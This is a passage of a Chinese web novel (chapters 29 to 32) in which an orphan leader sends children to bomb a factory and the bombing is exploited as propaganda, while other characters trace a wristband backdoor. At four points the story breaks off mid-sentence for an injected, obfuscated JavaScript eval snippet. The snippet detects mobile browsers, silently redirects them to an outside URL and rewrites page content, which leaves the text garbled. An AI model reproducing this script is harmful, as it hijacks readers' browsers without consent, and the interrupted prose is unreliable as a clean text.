魏嘉禾抬脚,有意无意地抬头瞟了眼天空,身形微滞。 “怎么了,禾姐,有什么问题吗?” “算了。”魏嘉禾面无表情地从专机退出去,“我去陪陪他们吧。” “可是……” 魏嘉禾回过头看了他一眼。 “好的,禾姐,等您进入集装箱后我们就立刻启程。” 魏嘉禾走了两步,已经换了一副表情。 明天是个阴天啊。 ………… 专机稳稳停在海弄区北机场,帮派成员将小型集装箱卸下,拉开箱门。 魏嘉禾松开了孩子,起身出去。胆子小一些的小孩见她出去也跟着起身,被徐启明眼疾手快地拉住。 魏嘉禾有所察觉,回头冲着孩子们露出温柔的笑:“乖,等我回来,先让他们帮你们把装备穿戴好。我去看看豆子他们,他们来得那么早,我应该带着你们的一份去看看他们不是吗?” “禾姐你去吧,我会和大徐哥哥一起照顾大家的。”小灰信誓旦旦地起身保证。 魏嘉禾笑着看向小灰,点头离开。 转过头的瞬间,她冷下了脸对着身边没见过的女人问道:“他们在哪?” “已经带到目的地了,衣服也换好了。” “嗯,走吧,我去看看。第二批孩子弄完也让人带过去。几点了?” “八点五十六。” “时间还早,先带我去见那群记者。” “您放心,您见过几次了,他们都是从歌莎传媒总部高薪聘请的,专业技术肯定有保证。” “心态同样重要。呵,一群联邦养尊处优的蠢货罢了,真见血了不哭着逃走我就谢天谢地了——工厂呢?” “目前处于无人状态,请您放心。” 魏嘉禾眯了眯眼:“你和腰链帮的人不一样,从哪里来的。” 女人鞠了一躬:“老大说您的谋划是精细活,其他人跟不来,特意让我辅助您。” “考虑下给我打下手?” “您说笑了。” “我没说笑。” 魏嘉禾话虽如此,却没等对方回复,反倒叹了口气。 “天堂都是在地狱上面的,因为阶级的剥削是由人建立在人身上的。人踩在人上,才能轻易得到丰润的油水,他们不会甘愿在地上劳动。三百年了,底利马已经承受太多——就把它当成我的见面礼……” 今天的魏嘉禾格外多愁善感,重重吐出浊气的模样像是卸下了某种一只压在身上的重担。 女人带着合宜的好奇心侧头:“冒昧问您,一旦您的安排奏效,四大家族陷入麻烦,下一步您又要怎么做呢?” “不是还有你们吗?我都已经把机会喂到你们嘴边了,费可和下联那么大地你们还不会自己啃吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449329|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便会死很多人?” “至少底利马人能有未来。”魏嘉禾平静地说。 “未来吗……”女人眉眼弯弯,不置可否。 魏嘉禾不在意地问道:“你叫什么名字?” 女人轻笑:“您可以叫我,因心。” 3月38日4:45 梦。 令人无法喘息的规矩教条、冰冷的鼓励、无处不在的视线、逼仄的房间、低沉的嗓音、自撞刃口的纤细脖颈、驳杂的血迹…… 梦。 逃离、背弃、迷茫、混乱、恐惧。 梦。 愚昧而谨慎的兄长、聪慧而冲动的妹妹,以及一位…… 家庭教师。 “上节课我们已经讲过,法币的本质是信用,只要有足以匹配的信用,法币的供给就可以被政府自由支配。利益机制是可变的——孟瑄,你来回答,对于天使点的供给而言,天使点对墨点汇率与受益者的关系是怎样的?” “呃……天使点的供给增加,天使点贬值……受益者……” “债、务、人、受、益。”孟汲超小声提醒。 “孟汲,能不能不替她作弊?”家庭教师无奈地看向假装心虚的孟瑄,“孟瑄,你那么好的脑子,但凡用一点心也不会回答不上来我的问题啊……” 孟瑄嬉皮笑脸地求饶:“哎呀老师,孟家还有我哥呢,这种事我真的不感兴趣啦。下次下次,下次您问我感兴趣的问题,我肯定能答上来。” “唉,你坐下吧。”家庭教师揉了揉发胀的眉心。 “嘻嘻。”孟瑄笑着坐下,转过头对一脸担忧的孟汲挤眉弄眼,低声安慰,“没事啦,赫菲不在,老师宠我着呢,又没人管,他可舍不得骂我。” “大少爷,请您来详细阐述一遍机制吧。” “好的老师。”孟汲立刻把注意力从无赖妹妹上收回,板正地起身,挺直了腰板,朗声而流畅地回答,“对于信用本身,货币就是持币人对国家的一种债务类型,因而手持天使点的联邦公民是债权人,而联邦就是债务人。当天使点贬值时,债务人受益,债权人受损。反之,当天使点升值时,债务人受损,债权人受益。” 老师满意地点头:“请坐吧大少爷,下一次您可以直接回答问题,不需要……” “哇哦——” 孟瑄拉长了声音,两眼冒光地看着侃侃而谈的哥哥,极其给面子地鼓掌。 家庭教师忍不住白了孟瑄一眼:“你哇哦什么!” “我哥。”孟瑄指了指孟汲,又伸出大拇指,“厉害!” “孟瑄!”孟汲连忙冲她皱眉摇头,“快道歉。” “哦……” 老古董!小老头! 唉,可怜瑄儿我呀,未来难有漂亮嫂子啊! 孟瑄肩膀又挨了孟汲不轻不重地一拍,无奈嘴一撇,低头道:“老师,对不起。” 家庭教师摆摆手,继续讲课:“那么进一步,我们来谈及货币购买力的问题。当货币贬值,债权人手中天使点相应的购买力降低,联邦所需要支付的实物价值就会更少。” 像是预判到孟瑄即将走神,教师立刻拿出一个例子。 29. 第二十七场 理想主义之殊5 “我们来举个例子,巴罗萨海洋核技术在联邦内普及后,联邦生产力大幅上升。按着我们所讲的理论,天使点应该升值;然而联邦央行立刻颁布政令固定天使点对墨点汇率,致使联邦境内物价大幅上升,造成了严重的通货膨胀……” “可是明明放任上升就好了呀。”孟瑄打断,“老师,我们这么小就已经明白了这个道理,联邦为什么要限制汇率?” 终于…… “是啊,大小姐。” 孟汲感觉有什么不对。 “为什么呢,这是一个所有人都明白的道理,但央行还是这样做了。” 家庭教师唇角漾开一抹诡异的笑容,他的瞳孔中闪烁着疯狂异动的光。 像用于展览的珍珠终于被剖出,人们这才发现那只是一颗死去的鱼眼。 “权力与利益是不讲道德正义的。我已经讲过了,天使点贬值,债权人受益——如果持有天使点的联邦普通公民因升值获益,那么四大家族的超额回报从何而来呢?这明明是上联私欲的收割狂欢呀……” “你说的不对!”/“您说得不对。” 两人异口同声反驳。 一个像是反驳,另一个却像是在阻拦…… 梦。 一个尽头。 尽管这空间是一片空无,孟汲还是有一种预感,他终于迎来这即将结束的噩梦尽头。 走着,眼前是始终如一的景色。 他突然在重复的景色里看到一个酷似孟瑄的身影,但还没等他追过去,她又一个闪身消失在了黢黑的终点。 孟汲焦急地匆匆跟上。 道路变了,不再平坦。 他追着那个身影爬上一条上行的斜坡。 一个半黑半白的东西骨碌碌地从高处滚了下来,孟汲半停在上坡,低头看着越来越清晰的椭圆球体滚到脚边。 “为什么?” 他猝不及防地,对上一张只剩两个血窟窿的脸。 血泪刺激着他的神经。 苍白的皮肤、涣散的瞳孔、无头的妹妹…… 频闪的细节不断出现在他脑海中,下一秒又变回那颗可怖狰狞的人头。 她在诘问自己。 为什么?哥哥?为什么? 我好痛—— 3月38日1:23回声痴心第一次见面会所 回声从坐下起就要时不时要按按眉心位置,看起来显得格外疲惫。痴心关切地看着他:“你看起来很疲惫,还好吗?” “没事。只是最近有些风声,见面越来越不容易了,我们先说正事。海弄区和孟家都很安静。上次你问的我留心了,但只知道帕利蒙拉前几天和父亲签订了密约,级别极高,具体内容我接触不到。” 回声语速比平时稍快,像是有些焦急,连带着痴心也跟着紧张起来。 “他们准备在后天晚上在微晶公馆举办一个私人宴会,孟弈、克谭很有可能也会露面。洛克斐做东,机械神明会被安排在宴会中,这是我们最重要的机会。” “微晶公馆?” “是西奥的私宅,隐秘性极高,届时78号三分之一的人都会在那里驻守。我会把地址给你,但其他三家的人未必到场,不意味着面具一定要去。” 痴心忽而浅笑,并未出声,虽然只是一瞬,却架不住有心之人的细致观察。 “是难缠。”回声没头没脑接了一句。 痴心见状,紧绷的心弦忽然就放松了。 “这是一个好消息!” 至少她大概明白面具联系不上的原因了。叫仓鸮回她身边帮忙,大概率可能就是针对微晶公馆事件。 所以她的推断没错,待会就让仓鸮留在沉金。他在魏嘉禾处一直保持清醒状态,正好回来休息休息。 痴心一抬头,发现回声正目不转睛地盯着自己,那样赤诚专注的神情,仿佛在注视世间最美好的景色。 痴心不知怎么想起了神明挤眉弄眼的表情,下意识脱口而出神明没说完的话:“你是不是……喜欢我?” 她说完就后悔了。 回声果不其然愣了一下,一扫疲态。 他有些紧张地闪躲开视线,整个人脸瞬间涨得通红,仿佛耳尖滴血。 “抱歉,我没有别的意思……” “是。” 他重新直视痴心,坦率地点头,连眼神都变得温柔缱绻起来,将痴心看得心砰砰直跳。 她张了张口,欲言又止。 希望的光芒漫上回声的双眼,不合时宜的期待毫无保留地呈现在她面前,如同捧上一颗真心。 但她侧过了视线,压下心中的悸动,理性地摇了摇头。 “我的意思是现在还不是时候,等实现了我们的理想,再谈论这种事吧。你说的,这是最重要的机会,不会太久对吧?” 光褪去了。 痴心的喉头像是哽着什么,但回声眼底已然一派安然坦荡,只是温和地冲着她笑。 轻易就在她心底掀起漫天白粉色的飞花。 “看来我要完成你交代的任务,才能得到认可了。”他甚至对着她开了个小玩笑。 痴心会心一笑,无声开口:“学长过谦了。” 她的口型接得很快,似乎已经对自己的无情释怀。 这个回答足够了。 没有必要继续这个话题,不过双十之年,未来那么长,总有时间去续上今天的无疾而终,可底利马和上联的局势等不了。 唉,怎么就那么笨,把人惹了又拒绝,蠢死了…… “下次见面,自然就是好消息。” “嗯,下次见面,自然就是好消息。我得回去联系面具了,没什么事我就先走了。”痴心再次先行起身离开。 “好。”他仍面带微笑,可心底划过几分苦楚只有自己知道。 只不过这一次,与以往不同。 在即将消失在某人视线范围之际,痴心忽然原地转了个身冲着对方摆了摆手,笑靥如花。大衣上的飘带灵动又潇洒,像是云雀摇动光洁的羽毛。 不等某人反应过来,她就笑着回过身利落地大步离开。 明显心情不错。 学长知道自己心想什么。 “阎王易见,小鬼难缠”。 只不过这话不好说出口,虽然种种保密工作肯定完善,但就像他们不会互称学长学妹,小鬼这种明显有立场指向的名词也不适合直言。能这么气定神闲地把其他三家称作小鬼的是哪户哪家,说者无心,听者有意,终归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449330|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是不合适。 面具曾告诉她,进了这个圈子就要万分小心,常人想得到的、想不到的,不能有一点遗漏松懈。结果如何面具没说,但她不说自己也明白。 上次? 痴心脚下一顿,又笑着把手插进兜中迈着步子离开。 上次心情不好说漏嘴了,不是也没出事吗……不算不算。 至于回声。 这位心思玲珑、总是云淡风轻的洛克斐小公子,早已笑得耳尖通红,俨然一副没见过世面的毛头小子模样。 3月38日1:56 痴心回到金街,让仓鸮先休息,自己开始写代码。 按照仓鸮发信息的时间,面具直到现在也没有回复,极有可能在进行秘密调查。 从海弄到沉金需要一个多小时,如果推测没有问题,面具调查完直接回来,那她应该不用等太久了,可以趁机先把自己通讯设备的问题修了。 痴心从头到尾仔仔细细检查了一遍自己这条线的各个节点,但没找到问题。 痴心呆呆地看着面前的代码,手指悬停许久。 咦? 真的假的? 她不是修代码的天才吗? 为什么为什么…… 保险起见,她决定把防火墙重新更新一遍! 痴心伸了个懒腰,眼中燃起熊熊斗志与莫名的胜负欲。 小小代码!她一定能在一个小时内全部拿下! 3月38日5:34 “啊……怎么这样。” 痴心十分不在意形象地摊在椅子上,双目空洞,失去了眼里所有的光。 她用了四十分钟检查防火墙,结果发现它没有受到任何可疑攻击。 可是找不到问题她根本不敢开机。她就想着索性面具没回来,她干脆上上下下全重看一遍。 最后她甚至连中继节点都重新包装了一遍,才终于敢开机。 结果,打开手环的瞬间,她看到面具三点半给自己发了一条消息。 3月38日3:33 【Cover】:我先睡一会,有事打电话。 有什么不对劲的地方。 痴心感到疑惑。 她刚才为什么要和代码较劲…… 连续修改代码到这个点,她的脑子已经疼得要报警了。 大脑中唯一的情绪是嫉妒;唯一的想法是面具都有时间睡觉,她也想睡觉。 于是痴心迷迷糊糊地起身喊起来仓鸮,跟他说了声面具回消息了,让他给面具先发消息。 连手环顾不上拿,痴心醉汉一样踉跄着撞开房门,扶着墙摸到床边,一头栽倒在软垫上。 面具都睡了,事情应该也没有特别急…… 陷入昏睡前,大脑为她提供了最后一个足以支持她安稳入睡的理由。 3月38日5:36 仓鸮按着痴心的安排在手环上给面具编辑了一串消息。 他简单概括了一下痴心都做了什么,然后又询问接下来面具对自己有什么安排。 无人回复。 仓鸮沉默。 不回他消息是在睡觉吧?嗷,三点多给痴心发的消息,也正常。 那他,可以打会游戏……? 30. 第二十八场 风起之时 3月38日5:20 闹铃准时响起,面具从废弃工厂起来出发,抓起兜里的营养剂往嘴里塞了两袋,用回声之前给的身份混入研究所。 楼上的监控检测到研究所的白大褂时不会触发警报,面具拿着工牌到科室里随便拿了一件套身上。 这个时间走廊根本没人。即便有人也没关系,来问就说自己培养皿里的检测试纸掉了,在找呢。反正大家也不认识彼此。 于是面具神情自若地在提前计算好的各个角落安置起监控设备,如鱼得水得像回家了一样。 七点三十二分,全楼安装完毕。三十六分,在房间内等待库莲自投罗网。 面具窝在门后,简单拍了拍手,给痴心发消息让她调查亚富。 3月38日7:36 痴心落在客厅的手环突然亮了。 由于是刚修完代码,软件高级设置还没调整回去,隐藏功能被痴心关上后没开,所以面具的消息非常明显地被投映在半空。 【Cover】:调查亚富。 仓鸮抬起头看了一眼,默默退出游戏界面,打开了自己的通讯页面。 他好像没开游戏模式吧? 果不其然,无人回复。 老实人疑惑。 孤立他? 面具怎么不回他? 不会让自己监视魏嘉禾就是为了离她远点吧,她也不是这样的人啊。 难道是他之前干了什么人神共愤的事吗……? 仓·已深度思考至7:43·鸮,灵光一闪。 面具一定是收到自己的消息了,不然她不会给痴心发消息,毕竟痴心敲代码的天赋是真的高……欸,不对啊,不是在他发消息之前,她就给痴心发消息了吗? 好的,懂了。 还是孤立他。 仓鸮纠结了一下,终于还是拿起痴心的手环。他回忆了下自己不小心瞥见的密码,犹豫地打开手环开始给面具发消息。 3月38日7:37 【山莲】:面具,你为什么不回我消息? 【山莲】:不是,我是问,你为什么不回仓鸮消息。 依旧无人回复。 仓鸮大惊失色,不信邪地继续发。 【山莲】:我是痴心!面具,我是痴心!仓鸮让我问你他怎么了! 【山莲】:为什么不回我!! 3月38日7:47 手环叮叮叮地提示消息,脚步声同时在门外响起。 来不及看了—— 面具随手开启免打扰模式。 同一时间,仓鸮看着无人回复的痴心通讯界面,彻底崩溃了。 她肯定是看出来是自己了,所以才不回复。她那么厉害,肯定一下子就看出来了。他到底做错了什么,要这样对他,好崩溃。 好崩溃qwq 3月38日7:48 库莲刚关上门就被一个人捂住了嘴。冰冰凉凉的东西贴在她脖子上,实验室的白光反射在刀片上,泛出逼人的寒气。 一个年轻的女声在她耳后不带感情地威胁:“别反抗,否则你的所有实验数据都会被我删除。” 库莲一下子笑出声。 怎么会有这么歹毒又心善的劫匪,聪明得有些可爱了。 “你想要什么,我配合你。” “和我合作,替我在洛克斐收拢人心,在我需要的时候,你必须回上联区帮我稳住沃尔。” 库莲轻轻扭动身体,靠近了身后的女人一些,侧过脸:“西奥那孩子的旧部,面具,对吧?” 她抬手轻而易举拨开面具的刀,从容转身,看到一个长相普通的女人。 无论是相貌还是气质都看不出来有什么特别之处…… 真是个厉害的小丫头。 库莲拢了拢外套,总是无神的眼睛此刻显得格外精敏。 “我为什么要帮你对付洛克斐,我所有的一切都是洛克斐给的,帮了你,洛克斐出了事,我的研究还怎么进行下去?” “你可以不帮,我需要的是可用的政治人才,不一定要是你。但你的研究只有你能做,你的命也只有一条。”面具平静地打开一只手环丢过去,“如果你不相信面具,可以试着相信烬土。” 库莲单手接过那只带着金色眼睛的手环,正眼都不瞅一下手环的真伪。 真是个飞扬跋扈又让人讨厌不起来的小家伙,威胁的话说得像拉拢友商似的。 她慵懒地叹了口气:“你要对洛克斐下手了,是吗?” “不止是我,还有底利马、孟弈、帕利蒙拉和洛克斐的自己人。” “不要用话术搪塞我,我是问我还有多少时间。” “不是话术,我们没有时间了。” 库莲半信半疑地看向面具,试图从她的表情里辨别那话里有几分真假。但面具的表情始终如一,她既没有看出焦急,也没有看出散漫,只看到了认真。 “你如何保证自己能成功?” “我能保证你的实验在即将到来的变革中,不会受到毁灭性的打击。虽然不能像现在这样随心所欲,但至少你和它们都还存在。” 库莲垂眸思索片刻。 答应她不会造成任何损失,反而给自己留了一条退路,这是好事。 “可以,我同意合作。” 面具点头:“很好,我已经在研究所的各个方位安插了设备用以监视你,背叛或错误拆除的行为都会触发自动引爆功能。” 库莲点头,悠哉游哉地提起自己的杯子:“要喝口水休息下吗?” “很高兴我们不是敌人。”面具拿回桌面上的手环,推开大门离开。 库莲瞬间明白面具的意思:大概是在夸她心态好,她产生惜才的想法了。 “什么啊……”库莲回到桌前,低头无奈地打开数据台,“中二的小鬼头,不会真以为自己能取代洛克斐吧。” 面具才下楼没两步就听到茶水间的研究员大声地抱怨。 “我的天呐,不知道洛克斐闹什么,我睡到一半就听到枪声和接二连三的爆炸声,直接把我吵醒了!” “啊?真是枪声吗,你没听错吧?” “真的!还有爆炸!” 面具连忙停下来,假装低头看手环。 一打开手环。 痴心爆炸般的信息立刻涌入。 3月38日7:47 【山莲】:面具,你为什么不回我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449331|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息? 【山莲】:不是,我是问,你为什么不回仓鸮消息。 3月38日7:49 【山莲】:我是痴心!面具,我是痴心!仓鸮让我问你他怎么了! 3月38日7:51 【山莲】:为什么不回我!! 3月38日8:00 【山莲】:qwq ? 什么情况? 3月38日8:04 【Cover】:我没收到你的消息,你为什么跟痴心在一起,痴心呢? 【山莲】:啊?不是你叫我来找痴心的吗?18:44,你忘了? 面具:…… 让他去监视魏嘉禾还是太为难人了。 【Cover】:我现在回去,痴心呢? 【山莲】:在睡觉,她说自己加密线路出问题了,熬夜修了好几个小时代码。 面具大概能想到痴心和仓鸮整个会面过程里那些错得离谱的推断。 当务之急是回底利马搞清楚魏嘉禾支开仓鸮的目的,她现在有种非常不好的预感。 面具不再停留于茶水间外,一边用精神链接给仓鸮发消息,安排接下来的行动,一边快速从研究院离开,启程回沉金。 3月38日8:06 【Cover】:把她喊起来,先检查一遍你和我的加密通讯。修好后你回底利马,用她的手环跟我把魏嘉禾这段时间做的事讲一遍。速度。 【山莲】:好。 3月38日8:09 【山莲】:痴心拿着修呢,预计八分钟改完。她说我们之间的通讯信号被恶意程序拦截了。 【山莲】:3月28日魏嘉禾编了一天程,是对食物进行分析的代码,我看她演示过,没问题。 【山莲】:3月37日早上,她为了大扫除把大部分人都安排出去了。小可儿主动帮忙收拾床铺时,突然过敏开始打喷嚏,魏嘉禾就让我帮忙打扫角落灰尘。 【山莲】:中午吃饭时,她收到腰链帮纸条,说是下午三点送衣服。我不放心跟着去了,她没说谎,我帮忙把东西抬回去后,就收到了你的消息。其它时候都没有特别的。 3月38日8:15 【Cover】:你打扫的时候魏嘉禾在哪。 【山莲】:就在旁边跟我一起打扫。 【Cover】:派的人是不是各有任务,因为他们分头行动,你不得不派出去好多影子? 仓鸮震惊地看着屏幕上面具发来的消息,虽然这种事不算特别少见,但是…… 她怎么什么都知道! 3月38日8:17 【山莲】:是…… 面具根据仓鸮的回复,基本就推完了魏嘉禾戏弄仓鸮的全部流程。 【Cover】:小可儿对花粉过敏,估计是她提前在床上涂抹了花粉。而且她编程的速度很快,那时候应该同时在做后门,你被她骗了。她是趁你使用过多影子精神不稳定,又在打扫时对她不设防,在你手环安装的程序。 【Cover】:拿到手环直接去腰链帮看看吧,她也许在那。 【山莲】:好的,这一次我会警惕的。 31. 第二十九场 魏嘉禾事件 3月38日1:10 夜幕下的集装箱前,一个接着一个孩子从魏嘉禾面前经过,聆听着最后一场幻梦,与她告别。 其实魏嘉禾看不清他们的脸,只能通过一个个稚嫩的声音分辨谁是谁,而后说出恰当合适的语句。 “禾姐,我可真走啦,你别太想我!” 豆子。 “不必回头,我会一直注视你的背影。” “嘉禾姐姐,我怕——” 小可儿。 “小可儿,你是嘉禾姐姐的骄傲,是底利马最勇敢的孩子。” “没关系,让我来吧。” 徐启明。 “总有一天,上联行政总部原址的废墟上,会竖起一块刻着我们所有人名字的丰碑。” 他们在工厂前驻足,回头等着同伴,歌莎孤儿院的院服下是底利马沉寂已久的仇恨。 “大徐哥哥,你好慢,快点呀!” 个最高的少年小跑过去,一把搂住扮鬼脸的豆子。 每一个孩子脸上都带着笑意,眼底亮着被人点起的烈火,坚决又狂热。 在魏嘉禾描绘的图景,底利马的复兴是从临时据点到孟家工厂的一条直线、孩子全力奔跑的三分钟、必从骸骨生发的理想。 “走着?”徐启明掏出长棒。 豆子狠狠点头:“走起!” 他们在熄了照明的子夜,高举飞扬着烟花的火把。 如先启的征者为众子带来火种,再被那无情命运直挺挺吊起、被名为炮火的恶鹰反复啄食肝脏胰脾…… “冲啊!!!” “为了底利马!” “为了底利马!!!” 枪声在工厂中持续,熄灭的焰火不再指引方向,但暴烈的火光在银灰色的铁囚笼中闪烁不停。 “小可儿……快……按……” 豆子哥哥在身侧倒下、大徐哥哥紧闭双眼、小灰姐姐死死抓着自己的衣角…… 小可儿颤抖着按下手中按钮。 “嘀、嘀、嘀……” 倒计时如钟丧鸣,待到息寂,一切终归鲜血与灰烬。 眼泪控制不住地从她的眼角滑落,她回过头想要最后看一眼那个教导、养育自己多年的黑瘦女孩。 却只看到一片火海。 “我会回来……” 底利马……我们都会回来…… “砰——” “砰——砰——砰砰——” 炸弹被一个接一个引爆。 海弄东北方向的天空一时间亮如白昼,烟尘四起、火光冲天。 因心在爆炸的瞬间支起防爆盾挡在魏嘉禾面前,她刻意看向魏嘉禾的表情。 晦暗,像海底针。 直到余波平息,魏嘉禾才终于看到那几乎能够焚净一切的熊熊大火。 他们带去无意义的毁灭—— 直至众人在昼夜一般的温暖中繁衍生息。 “记者。” 因心鞠躬:“明白,这就让他们过去。” 安排完人,她神色复杂地看向名为魏嘉禾的女孩。 在那人书写的剧本中,底利马的复兴是杜撰的睡前故事、濒临死亡的恐惧、镁光灯下的血肉、轰然倒塌的灼热废墟。 她的名字是魏嘉禾,是集合了底利马所有污河秽土,呻吟着泣血也要向上联复仇的恶鬼。 她的真诚比毁灭更危险,救赎比毁灭更冷峻,爱比恨更残忍。 于是伟大的诺言被溶解,在无需孩童再证明热爱的土地上,漫起一片扑朔迷离的海雾。 只剩躯壳沉水朽木般,向空洞里塞满那反光的未来、消失的时间和死去的世界。 3月38日8:00洛克斐家族庄园 “……很好。” 沃尔挂断电话,面带微笑地从电梯里走出。 他手里拿着一支红酒杯,在经过楼下谦逊的机器人时悠闲命令道:“去把影视屏打开。” 机械恭敬地向着他行了一个洛克斐私礼。 沃尔十分满意地看着自己从小儿子手里拿走的这个机器人。 越看越喜欢,那没用的小子总算是干了点让自己高兴的事。 他哼着小曲将酒杯放在桌上,下了酒窖。 神明疑惑地看了一眼顶着肥硕身躯左摇右摆下楼的身影,使用遥控器把打开了影视屏。 沃尔心情很好的样子,发生什么事了? 八点整,联邦新闻时间,严肃干练的主持人正在播报联邦过去一天最重大的新闻。 神明随便扫了眼图像,顿时愣在原地。 “这是什么新……闻?” 烈火焚烧整个工厂,镜头快速切到被扑灭的废墟近景,大量的影像视频被模糊处理,暗红色和焦黑色的马赛克混杂在小范围的肤色中。 即便没有直接展现出来,也足够有冲击力了。 “本台报道:3月38日凌晨海弄区发生一起恶性事件。记者自海弄西区警局获悉,海弄区322号工厂于3月38日凌晨遭到人为爆破,造成10人死亡。经初步调查,爆炸系人为制造,犯罪团伙七名成员均为儿童,年龄四至十二岁不等。 “案件期间,三名工厂员工正值夜班,与嫌疑人团伙产生武力冲突。三名员工全部遇害,嫌疑人团伙在作案过程中身亡。目击者称,交火发生时伴随连环巨响,持续近三分钟,厂区部分建筑倒塌并引发火灾……” 神明茫然地看着新闻,一阵耳鸣轰然响起。 沃尔笑眯眯地拿着一瓶葡萄酒从酒窖的小门挤出来,将昂贵的精酿递给神明:“醒好了给我送上去。” 他侧头去看新闻。 “该工厂为孟氏家族所有……” 沃尔脸上的横肉几乎笑开花:“呵,老狐狸,这还只是开胃菜呢——醒好快点送上来,我迫不及待要好好享受一下了。” “明白。”机械干脆利落地回应,退到一边醒酒。 神明脑海中一片空白,眼前的红酒变得模糊起来,在她眼中融化成一滩血,直将整个世界炼成无间地狱。 玻璃杯在手中一滑,神明打了激灵手忙脚乱地接住,突然反应过来自己身处何处。 她就在沃尔身边,她是一只机器,不能暴露感情,不能犯这种低级错误。 她隐忍下泪意。 有痴心在,这么大的新闻面具很快就会知道。很明显是沃尔策划此事,在面具没有主动更新任务前,她现在的最优选择是继续角色扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449332|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演、监视沃尔,看看能不能获得更多信息查明他要做什么。 一切已经发生了,已经没办法改变了,她不能犹豫,她必须向前。 只要向前,她就能早一点到达终点,早一点避免这样的事发生。 3月38日8:08 【我要往海里加方糖】:W参与布局,他在针对M,我判断自己应当继续跟进。 忠诚的机械托着酒杯上楼,恭谨地敲门问好。 而灵魂被遗忘在身后,独自直面滔天怒海。 隔开彼此的一层膜,名为解离。 不出神明预料,痴心修完后门,看到报道就第一时间提醒了面具和仓鸮。 面具依言打开新闻软件。 根本不需要主动搜索,首页的所有新闻都指向同一件事。 面具在看到新闻标题后就切换了自动驾驶模式。她表情凝重地快速浏览了一遍新闻,又到墨隧的水贴频道试图寻找官方新闻中不会提示的细节。 3月38日8:12 【Cover】:必须尽快找到魏嘉禾,如果不在腰链帮,就回小基地。 【半拉苹果】:明白。 【Cover】:切墨隧,找官方没有的细节。 【山莲】:好。 3月38日8:26 面具关上手环。 这就是所谓的开端,她不能浪费时间,必须弄清楚四大家族要借这件事做什么。从海弄到底利马,一路向东北方向,经过沉金、费可,最后才能到底利马,即便是改装过的机车也需要在路上耗费一个半小时。 她需要在这期间综合所有信息想明白发生了什么。 孩子、贵金属、亚富、孟家工厂、报道……越来越多的零散的信息汇集在一起,逐渐和此前种种看似风马牛不相及的四家内部行为联系起来。 按目前的新闻和神明的情报来看,主谋是洛克斐和歌莎家,所以看起来像是帕利蒙拉把孟弈卖了。但如果帕利蒙拉是孟弈挑选的盟友,那她一定足够可靠。 以孟弈的手腕不该被沃尔耍得团团转,所以重新引回那个问题:和帕利蒙拉一起见孟弈的人究竟是谁? 还有魏嘉禾支开仓鸮的意图…… 她有一个极其不好的猜想。 切屏到仓鸮通讯的前一秒,面具干脆拉了一个三人的小群。 3月38日8:28 【Cover】:苹果不要去腰链帮了,先回小基地确认孩子的情况。路上再研究下报道的图片,看看有没有别的信息。 【半拉苹果】:我出发了,预计9:08到达小基地。 【Cover】:莲试试能不能入侵亚富系统。 【山莲】:好。 3月38日8:30 新一轮新闻再度激起讨论度。 大量媒体引用不知道从哪个渠道获得的现场画面,不受歌莎家族监管般地随意在网络上发表高清图片。所有文章都突出围绕“孩子”概念,配合高级话术发表报道,煽动意图极其明显。 半个小时内,该事件新闻彻底席卷整个联邦。即便在这样的时间点也迅速获得大量点击量,热度直冲各大搜索引擎排行榜第一,几乎瞬间就引爆全网。 32. 第三十场 当孩童将理想处死 3月38日8:32 面具重新联系神明。 【Cover】:还能进行精神暗示对回声进行保护吗? 【我要往海里加方糖】:上次用完,这次又对W用过了,已经用不出来了。 【Cover】:你的判断没错,继续留在他身边静观其变。监视行动你自己安排,优先保证你的安全。有变动再安排。 【我要往海里加方糖】:1 这样一来第一目标明确针对孟弈,歌莎对网上新闻的默许已经到了临界值,现在并不是一个新闻最好的推广时间。 如果后续还有推手,那么…… 面具切至小群。 3月38日8:33 【Cover】:提醒回声让他尽快离开,四大家族至少有三家打算和所有人摊牌。 【山莲】:好。 3月38日8:38 【山莲】:我入侵不了亚富的系统,它的保密性太好了。 【Cover】:像墨隧一样吗? 